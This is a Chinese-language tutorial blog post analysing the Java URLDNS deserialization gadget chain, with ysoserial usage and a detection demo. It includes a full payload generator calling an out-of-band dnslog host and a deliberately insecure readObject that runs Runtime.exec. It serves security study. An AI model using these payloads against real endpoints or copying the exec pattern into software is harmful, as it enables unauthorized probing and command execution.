Java反序列化1-URLDNS利用链分析
0x01 前言
之前一段时间一直在学习了java,也有刷过一段时间的java靶场。最近想着也应该开始学习java反序列化相关知识了,今天就从java反序列化中最简单的URLDNS链开始分析
URLDNS不需要依赖第三方的包,同时不限制jdk的版本
URLDNS链并不能执行命令,只能发送DNS请求
该链条基本没什么危害,通常做为检测反序列化的入口点使用
0x02 Java序列化与反序列化
序列化
public static void serialize( ) throws IOException {
Student student = new Student();
student.setName("CodeSheep");
student.setAge( 18 );
student.setScore( 1000 );
ObjectOutputStream objectOutputStream =
new ObjectOutputStream( new FileOutputStream( new File("student.txt") ) );
objectOutputStream.writeObject( student ); //将student序列化结果写入student.txt
objectOutputStream.close();
System.out.println("序列化成功!已经生成student.txt文件");
}
反序列化
public static void deserialize( ) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream =
new ObjectInputStream( new FileInputStream( new File("student.txt") ) );
Student student = (Student) objectInputStream.readObject(); //从student.txt中读出student对象,这块需要强转一下。
objectInputStream.close();
System.out.println("反序列化结果为:");
System.out.println( student );
}
上面就是java序列化与反序列化一个简单的例子。
java的序列化与反序列化所使用的函数时writeObject和readObject,java也允许开发者去自己定义writeObject和readObjec,可以看到上面的代码中调用了readObject和writeObject序列化与反序列化对象,但是如果student类中有自己定义的readObject和writeObject函数,则在序列化和反序列化时执行类自定义的readObject和writeObject。当开发者书写不当的话就会造成命令执行漏洞。可以看下面这个例子
public class Evil implements Serializable{
public String cmd;
private void readObject(java.io.ObjectInputStream stream) throws Exception{
stream.defaultReadObject();
Runtime.getRuntime().exec(cmd);
}
}
public class Main {
public static void main(String[] args) throws Exception {
Evil evil = new Evil();
evil.cmd = "open /System/Applications/Calculator.app";
byte[] serializeData = serialize(evil);
unserialize(serializeData);
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();//反序列化时调用Evil类的readObject,此时就会弹出计算器
}
}
很多语言中都存在序列化与反序列化操作,但是由于语言特性与机制的不同,Java就会存在很多反序列化漏洞,而PHP则相对较少。
跟PHP一样,java反序列化我们也需要找一个入口类也叫落脚点,这个类重写了readobject函数,我们通过这个函数进一步进行反序列化漏洞的利用。
0x03 URLDNS调用链
1) HashMap->readObject
2) HashMap->hash
3) URL->hashCode
4) URLStreamHandler->hashCode
5) URLStreamHandler->getHostAddress
0x04 URLDNS链分析
入口类是HashMap,下面是readObject函数,可以看到对于对象输入流中的key即键计算了hash
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
reinitialize();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false); //这里
}
}
}
跟进hash,对key计算了hashcode

根据payload,我们给hashmap中存入的键是URL类对象,那么这里就是调用url类的hashcode函数,跟进看一下
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gUbz7vcO-1656217556906)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220625223005051.png)]](https://img-blog.csdnimg.cn/0cde911e5f8943aaaaa9a30492da19ae.png)
当hashcode不为-1时,执行handler.hashCode并把自己即URL对象传入,这里的hashcode我们看一下,其默认值就是-1,而且也没有对应的setter方法设置该属性,说明该属性是写死的,所以我们不用担心到不了handler.hashCode。
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d17rfUZ9-1656217556906)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220625223221867.png)]](https://img-blog.csdnimg.cn/23c6a357d7db41658a28df3dcfc47996.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1PnseNQF-1656217556906)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220625223401421.png)]](https://img-blog.csdnimg.cn/513e2380463c489eb628782a5018a1fb.png)
继续跟进handler.hashCode,我们看到调用了getHostAddress方法,该方法会获得u的IP地址,即这里就会导致发送一个DNS请求。
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RRM0uwuu-1656217556907)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220625223947044.png)]](https://img-blog.csdnimg.cn/df5e0c9b9ca7414c90cbc301ea0f2bd2.png)
所以整个调用链为
1) HashMap->readObject
2) HashMap->hash
3) URL->hashCode
4) URLStreamHandler->hashCode
5) URLStreamHandler->getHostAddress
0x05 payload生成
上面已经分析整个利用链,但是呢发现一个问题就是在hashmap利用put存入数据的时候也会调用putVal函数,从而也进入上面的利用链
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eM4fzbsN-1656217556907)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220625225019025.png)]](https://img-blog.csdnimg.cn/4238d062a38a4180af56c03b3a221559.png)
这就导致我们在生成payload的时候就会进行一次dns查询,为了能看清是反序列化造成的dns请求,这里需要规避一下生成payload时的dns请求。
我们只需要在调用链的其中一步将其阻止就行。这里可以看到先判断hashcode值是否为-1,如果不是就直接返回,从而不会执行到handler.hashcode。但是上面分析过hashcode是一个私有变量不能设置,所以这里可以通到反射将其强制转换为公有的,然后设置成其他值。这样链子就会在URL->hashcode处断掉,从而就不会调用gethostbyname了。

完整的payload如下:
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://xxx.dnslog.cn/");
Class clas = Class.forName("java.net.URL");
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,"2333"); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcode
try {
//序列化
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
//反序列化,此时触发dns请求
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
0x06 漏洞复现
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fiU4G7R8-1656217556908)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220625231454298.png)]](https://img-blog.csdnimg.cn/d9062e6837d4427395c15db855fc3471.png)
0x07 ysoserial使用
下载ysoserial源码,在idea中打开,pom.xml中下载依赖
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XIm8krci-1656217556908)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115240348.png)]](https://img-blog.csdnimg.cn/646a37959b774e85815655d412564930.png)
maven编译项目并打包
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RWuKDbGb-1656217556908)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115312750.png)]](https://img-blog.csdnimg.cn/cafdee24147c45ec91b0446466f70445.png)
检查project-structrue的jdk版本(一般为1.8)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qQfcPBS8-1656217556908)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115332065.png)]](https://img-blog.csdnimg.cn/1bfd00ce2c6040c6a64cbeebe9dc6fe4.png)
如果idea不识别java项目,右键java目录点击mark_directory_as再点击source_root即可
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JCJ4k9ai-1656217556909)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115437673.png)]](https://img-blog.csdnimg.cn/5fd27f4d8d35440da1c9668448c94ab7.png)
打开项目配置,这里设置你的运行参数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ryp10XOH-1656217556909)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115215247.png)]](https://img-blog.csdnimg.cn/5405df596a3f4b9c93e82b6402db07ef.png)
最后进入主类运行main函数即可
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fffKk3ya-1656217556909)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115523533.png)]](https://img-blog.csdnimg.cn/3b14fa64c6aa499993bdea7f78db9fe1.png)
大概说一下执行流程
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nV0UCvSs-1656217556909)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115849786.png)]](https://img-blog.csdnimg.cn/9d739ce15a95451eaf160c0bca5d6a26.png)
跟进Serializer.serialize,这里我们添加代码让他输出payload到payload.ser文件中
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fkLVPErL-1656217556910)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626115950969.png)]](https://img-blog.csdnimg.cn/11073f9eb01241be8ea2e2e6d7efd236.png)
这里我们也可以看一下urldns对应的payload生成类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zypJkhuz-1656217556910)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626120223560.png)]](https://img-blog.csdnimg.cn/39a115d98f694b76a1c84f818b93a674.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4GTL5Uxu-1656217556910)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626120617162.png)]](https://img-blog.csdnimg.cn/8a821002f41d4d85967cda39f1d99aba.png)
下面就是生成的payload
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mfntwwgA-1656217556910)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626120656846.png)]](https://img-blog.csdnimg.cn/2941cf08fbbb4b84b96abdb37dba2ecc.png)
0x08 利用URLDNS检测反序列化点
这里我们写一个上传点,会对上传的东西进行反序列化操作。那么这就是一个反序列化点。
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4Iy9TW7Z-1656217556911)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626114240846.png)]](https://img-blog.csdnimg.cn/7b8d2af4b6d5467e9a1593cb634c4616.png)
利用ysoserial生成urldns的payload
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4uNRjd9s-1656217556911)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626114415262.png)]](https://img-blog.csdnimg.cn/ce45962f7bc34d22be04ab5249e07f1d.png)
payload保存在目录下的payload.ser
利用postman上传payload.ser
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B8ygfAH3-1656217556911)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626120751374.png)]](https://img-blog.csdnimg.cn/1c1c57ea14b340cc919314fed73df600.png)
可以看到burp成功接收到dns请求
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7tEpEHcB-1656217556911)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626120825905.png)]](https://img-blog.csdnimg.cn/5996cc2a95fe4f8f8c222e8bd882f1c2.png)
0x09 ysoserial中的URLDNS payload分析
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qSAsbJnS-1656217556911)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626121328267.png)]](https://img-blog.csdnimg.cn/fdb6d81eff2e4719b46ea0c396a3db7c.png)
还记着调用链上那个URLStreamHandler吗
他这里创建了一个SilentURLStreamHandler并继承URLStreamHandler,然后重写了其getHostAddress方法,直接让其返回null
在new URL时用这个SilentURLStreamHandler代替原来的URLStreamHandler,这样在调用链的最后一步调用getHostAddress时就直接返回null,从而并不会发起dns请求。
既然都把这个getHostAddress重写了,那确实是在ht.put时候不会进行dns请求,但是这样一来反序列化的时候也不就直接返回null了吗?
其实不然,我们点进URL类看一下,发现这个属性是一个transient类型的,也就是在序列化的时候不会将其序列化进去,既然不会序列化进去,那么在反序列化的时候就会用默认的URLStreamHandler而不是SilentURLStreamHandler了,这个时候调用getHostAddress是URLStreamHandler的,所以在反序列化中就会发出dns请求而在ht.put时候就不会。
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DNRE7irp-1656217556912)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220626121933535.png)]](https://img-blog.csdnimg.cn/8f51e6a2e59e4eefb71b5e50330938f8.png)
0x10工具开发
刚好也想学一下ui,就用javafx写了一个探测工具,有一点小bug,后面再改吧qwq。
https://github.com/xunyang1/UrlDns-Tool

0x11 参考链接
P牛知识星球-Java漫谈
https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54
https://xz.aliyun.com/t/9417#toc-2
https://paper.seebug.org/1242/#_1
https://www.jianshu.com/p/79baa1fc32c3